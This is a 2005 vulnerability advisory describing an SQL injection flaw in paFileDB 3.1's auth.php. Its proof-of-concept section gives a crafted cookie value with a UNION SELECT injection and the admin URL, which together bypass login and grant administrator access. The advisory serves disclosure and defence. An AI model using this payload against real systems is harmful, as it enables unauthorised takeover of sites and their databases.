PAFileDB Auth.PHP SQL Injection Vulnerability

BID:14654

Info

PAFileDB Auth.PHP SQL Injection Vulnerability

Bugtraq ID: 14654
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 24 2005 12:00AM
Updated: Aug 24 2005 12:00AM
Credit: deluxe89 is credited with the discovery of this vulnerability.
Vulnerable: PHP Arena paFileDB 3.1
Not Vulnerable:

Discussion

PAFileDB Auth.PHP SQL Injection Vulnerability

paFileDB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Exploitation of this issue may allow for compromise of the software, session hijacking, or attacks against the underlying database. Other attacks are also possible.

Exploit / POC

PAFileDB Auth.PHP SQL Injection Vulnerability

No exploit is required.

The following example is available:

Create pafiledbcookie
Content is:
[MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass

navigate to:
"http://www.example.com/pafiledb.php?action=admin":

once there, attacker is logged in as admin in the access control panel.

Solution / Fix

PAFileDB Auth.PHP SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

PAFileDB Auth.PHP SQL Injection Vulnerability

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